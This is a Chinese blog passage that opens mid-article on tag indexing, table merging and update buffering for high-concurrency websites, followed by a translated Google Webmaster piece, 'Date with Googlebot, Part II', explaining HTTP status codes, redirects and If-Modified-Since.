对于频繁的判断标签去或者热门的标签我们还可以在内存里组织一套有效的索引,比如对于标签“疯狂代码”,我们用树来把它表示出来。对于疯狂代码我们索引一个疯,其实用程序表达就是疯狂代码[0]。而在数组”疯”中存贮以疯开头的标签组,以”傲”的数组中存贮以”傲”开头的标签。如果量更大的话还可以再做N级索引,将这些常用的标签对应设计内存索引,我们可以把它想象的理解为内存中的 Suggest(比如google搜索时的Suggest),使用中我们可以直接拿来使用
第四步:针对跨表查询的处理
很多情况下,我们可能避免不了多表查询,或者 IN,or查询,除去业务层封装的分区视图集群之外,我们还可以处理的更好,在很多情况下,我们的查询会是非常频繁非常统一的(这里的统一指热门查询),比如在SNS中常见的性别,嗜好等多条件搜索,而这些数据可能存贮在多个数据表结构中,而这样会吧不可避免的会产生全表遍历查询。
处理方法也很简单,把原来散列的垂直分割的表再合并起来,合并到另外的只读的订阅服务器上,然后做适当的结构优化和索引,剩下的大家应该明白我的意思了,虽然简单,但是这种处理方法非常适合以后服务器的横向扩充。

以上是对多对多关系和多表查询的一个简单的架构说明,肯定有人会问,如果这样做的话工作量不是太大了吗,分词处理什么的,对每个多对多关系进行处理。
OK,咱们可以进一步的把它来抽象化,我们用TableA 表示Article表,用TagbleT表示Tag表,我们可以讲字段抽象化出来,也就是一个ID,一个Tag的String 同理对于标签表也是如此。朋友们应该可以理解我的意思了。

对,就是做个代码生成器把对应的多对多关系给生成出来,这个很好写的,几个Append就可以搞定。如果想更方便的处理,那么把这个东西做成单件的模式抽象化出来,然后再违反一下原则,做成基类,其他关系继承这个基类。。。。。剩下的应该很简单了,具体实现大家思考吧。

让并发来的更猛烈些吧,高并发环境下的数据处理方案

对于高并发性质的网站,在sns特别是webgame方面应该是最容易也是最难处理的地方了,容易处理的是如果是纯粹基于数据库驱动也就是 select和update的问题,而难的地方也是不是select而是update,在高并发的驱动下,update经常会超时,虽然我们可以在 finally把它处理掉,让人郁闷的是,数据库连接池仍然会饱和,数据仍然会丢失….

上面的情况是非常常见的web项目失败的原因之一,在数据飞速膨胀和并发呈几何级增长的情况下,制约我们的可能是io,database本身的问题了,让我们头痛的是不管是哪种数据库,Oracle也好,mysql也好,sqlserver也好都会timeout,而且是频繁的timeout频繁的Exception。这个时候就需要我们的应用程序在处理的前期就应该考虑到的,一个好的数据缓存策略常常决定了我们的成败,而缓存策略也是web项目最难以测试和最容易出错的地方。

在大型网站架构中,最关键最核心的也是缓存策略了,介于其复杂性,这里只简单的介绍一下基于高并发数据库缓存方案,后面的将详细介绍常用的缓存策略。这个方法与其叫缓存不如叫数据缓冲,其实也是异步更新数据,根据负载情况不同,我们哪怕仅仅将数据缓冲1秒,带来的负载提升就已经非常好了。

实现原理很简单,将并发的更新首先缓存到一个应用程序池中,然后定时查询(注意这里的方案应和缓存方案具体结合,这里只介绍概要情况)。

传统的update请求处理流程是:请求—》应用程序—》更新数据库,如下图:
数据缓冲和更新部分可以在数据层里独立实现,也就是update的传递的时候首先传递缓冲池,然后定时更新,这里需要注意的数据缓冲池的还要做的另外一份 工作就是全局的数据缓存,缓存数据更新到数据这段的时间间隔,我们可以理解为临时表,再提取上下文请求的即时信息的时候首先从缓冲池里读取(这里有很多技 巧,比如巧妙的利用cookie,session做;临界条件判断),流程如下图所示
上面简单的介绍了一下基于数据更新缓存的处理,下篇具体详细介绍基于并发更新机制的详细缓存处理机制

2009年2月4日星期三

与谷歌机器人的第二次约会:HTTP 状态代码和If-Modified-Since

原文: Date with Googlebot, Part II: HTTP status codes and If-Modified-Since
发表于: 2008年11月27日星期四,中午12:12

我们与谷歌机器人的上一次约会棒极了,但网站们还对响应代码感到比较困惑,不知道自己返回的响应代码是否正确。我们的服务器返回了301永久重定向代码,但在什么情况下我们应该返回302临时重定向? 如果我们返回一些新的"404文件无法找到"代码,Googlebot是否不会再访问我们的网站?我们应该支持标头(header)"If-Modified-Since"吗?这些问题让人困惑不解,就好像懵懂的爱情一样。为了少一点诸如此类的烦恼,我们来问问专家——谷歌机器人,看看他怎样评价我们的响应代码。

亲爱的谷歌机器人,

最近我给我的网页做了一次大扫除,删除了一些陈旧的、无用的网页。现在这些网页都返回404"页面无法找到"代码,这么做合适吗?还是我让你感到困惑了? Frankie O'Fore

亲爱的Frankie,

404代码是告知网页已不存在的标准方式,对此我不会感到困惑,因为旧网页从网站上删除或更新是很正常的事情。大多数网站都会在网站管理员工具的抓取诊断中显示一些404错误。这绝对不是什么大问题。只要您有良好的网站架构并能链接到所有您可抓取的网页,我就会很高兴,因为我能籍此找到我需要的任何信息。

但是别忘了,不仅是我来访问你的网页,也会有很多访问者看到你的网页。如果你只是显示简单的"404页面无法找到"的信息的话,不了解的访问者可能会很迷惑。其实有许多办法可以让你的无法显示的页面变得更加友好,最便捷的一个方式就是使用谷歌网站管理员工具上的404小工具,它能够帮助访问者找到那些真正存在的内容。大多数的主机托管商,无论大小,都允许你自定义你的404页面(同样适用于其他返回代码)。

爱你的,

谷歌机器人


嘿,谷歌机器人,

我读了上面你给Frankie的回复,我有一些问题。如果有人链接到我网站上不存在的页面怎么办?我该怎样才能确保那些访问者能够找到他们想要的东西呢? 此外,如果我想移动一些页面该怎么办?我想更好地组织我的网站,但是我很担心这会让你感到困惑,我该怎样让你更明白我的网站呢?Little Jimmy

Jimmy你好,

让我们先不考虑你问题的先后顺序,从最核心的问题来回答吧。首先,我们来看一下来自其他网站的链接,很显然,这些链接可能是你网站的一个重要的流量来源,而且你不希望访问者看到的是一个不友好的"页面无法访问"的信息。因此,你可以利用强大的重定向来解决这些问题。

最常用的两种重定向是301302。事实上还有更多的重定向,但这两种是目前与我们联系最紧密的,正如404301302是可以发送给用户和搜索引擎机器人的不同种类的响应代码。301302都是重定向,但301为永久重定向、302为临时重定向。301重定向可以告诉我这个页面以前是什么样、目前转移到了什么地方等等。它可以完美地用于重新建构你的网站,并对重新计算被指向的新网页的声誉有很大帮助。每当我看到301永久重定向,我就会把所有指向旧网页的外部链接自动作为重定向后新网页的声誉计算因素。这不是很方便么?

如果你不知道怎样实施这些重定向的话,我可以帮你入门。这主要取决于你的web服务器,此外这里有一些搜索结果会比较有帮助:
Apache: http://www.google.cn/search?q=301+redirect+apache

IIS: http://www.google.cn/search?q=301+redirect+iis

你也可以参考服务器所附带的手册或自述文档。

作为重定向的另一个替代办法,你可以向链向您网站的网站管理员发送电子邮件,请他们更新链接指向。不能确定哪些网站指向你是吗?不用担心,我的谷歌同事们已经让这变得轻而易举了。在网站管理员工具的“链接”部分中,你可以输入你网站的某个具体URL来查阅哪些外部链接指向了该网页。

我的谷歌同事们最近还发布了一个新的工具,可以显示所有链向你网站中不存在网页的URL,你可以在此了解更多。

永远乐意为你效劳的,

谷歌机器人


亲爱的谷歌机器人,

我 有一个问题。我生活在互联网中一个充满活力的地方,我不断改变对事物的看法。当你问我一个问题,我绝不会说出同一个答案两次,我的网站上的头条内容每个小 时都在变化,我总会想到新的内容。你看起来像一个很直爽的人,希望得到直接的答案。当我的网站内容频繁更新的时候,我该怎么让你明白又不使你感到困惑呢? Temp O'Rary

亲爱的Temp

我刚刚告诉Jimmy通过301永久重定向来告知谷歌机器人你的新网址,但是你描述的情况则不同,应当适用于302临时重定向。对某一特定已经被索引的URL,如果你想告知你的用户该URL的地址是正确的,但是想访问的内容可以临时在另一个地址找到,那么使用302临时重定向(或更为罕见的"307临时重定向")是一个既礼貌又妥当的方式。例如,Orkut将用户从http://orkut.com 重定向http://google.com/accounts/login?service=orkut,但当检索Orkut*时,这个URL并不是一个具有实际检索价值的网页,而且是在另一个域名下。因此,使用302临时重定向可以告诉我,不要把属于http://orkut.com的内容和反向链接计算到重定向后的目标网址上——因为它只是一个临时页面。

这就是为什么当您搜索orkut时,您看到的是orkut.com,而不是那个更长的URL

请记住:直接沟通是保持良好关系的关键。

你的朋友,

谷歌机器人

*请注意,在这里我把URL做了简化,使它更易读。实际的URL要远复杂于此。


谷歌机器人上尉,

我是一个经常重新设计和组织的网站。我注意到很多网站链接的URL都是我在很久以前就删掉的URL。我已经为这些已删除的URL设置了指向新URL301永久重定向,但在这之后我又对网站做了重新设计,很多上述新的URL也不存在了,于是我又用301永久重定向来让它们指向更新的URL。现在我很担心,在抓取的时候,沿着这些指示,你很可能会不断地抓取到一连串的301重定向,而最终导致你可能放弃未来对我网站的抓取。 Ethel Binky

亲爱的Ethel

听起来好像你已经设置了很多嵌套重定向的URL。好吧,天哪!如果次数比较有限的话,这些"重复重定向"是可以被理解的,但我们或许应当首先思考一下你为什么要这样做。如果你把中间环节的301重定向统统移除,并将我直接引导到该URL的最终目标网址,你将为我们彼此节省大量的时间和HTTP请求。但是不要仅仅想到我们两个,想想其他访问者可能早已经厌倦了在状态栏中不断看到反复的连接加载连接的冗长过程。

设身处地地想一想,如果你的重定向开始看起来都相当长,用户们很可能担心你已经把他们推入到一个无限死循环中。机器人和人类都会害怕那种无穷无尽的重复。相反地,试着消除那些重复重定向,或至少保持他们尽可能短一些,我们就可以体谅一下广大访问者!

设想周到的谷歌网络机器人


亲爱的谷歌机器人,

我知道你一定是很喜欢我,要不然你就不会隔段时间就发出抓取我某一网页的请求,即使他们的内容从来没有改变过,就好像我的十年内都没有变化的大学论文一样。但是这些现在开始变成我的一个麻烦了,有什么办法可以帮助我不让你来占用我珍贵的带宽吗? Janet Crinklenose

Janet, Janet, Janet,

看起来你应该学会一个新的名词——304未修改”。如果我之前曾经访问过一个URL,那么我会在我的请求中插入一个"If-Modified-Since"。此行还包含一个HTTP格式的日期字符串。如果你不想再向我重复发送一遍该文档,那么你只需要向我发送一个正常的并带有"304未修改"状态的HTTP 标头。我很喜欢这样的信息。当你这么操作的时候,你没有必要再向我重复发送该文档,这就意味着你不用浪费你的带宽,而我也不会觉得你又在用老掉牙的重复内容糊弄我。

你很可能会注意到很多浏览器和代理服务器也会在标头上显示" If-Modified-Since ",你也可以这么做来抵制滥用带宽的行为。

现在就开始行动,节省更多的带宽吧!

谷歌机器人

——————

谷歌机器人对我们真是太有帮助啦!现在我们知道应该怎样更好地响应用户和搜索引擎了。下次我们再相聚的时候,就该和这个老朋友坐下来促膝谈心了与谷歌机器人的第三次约会即将发表,敬请关注!)。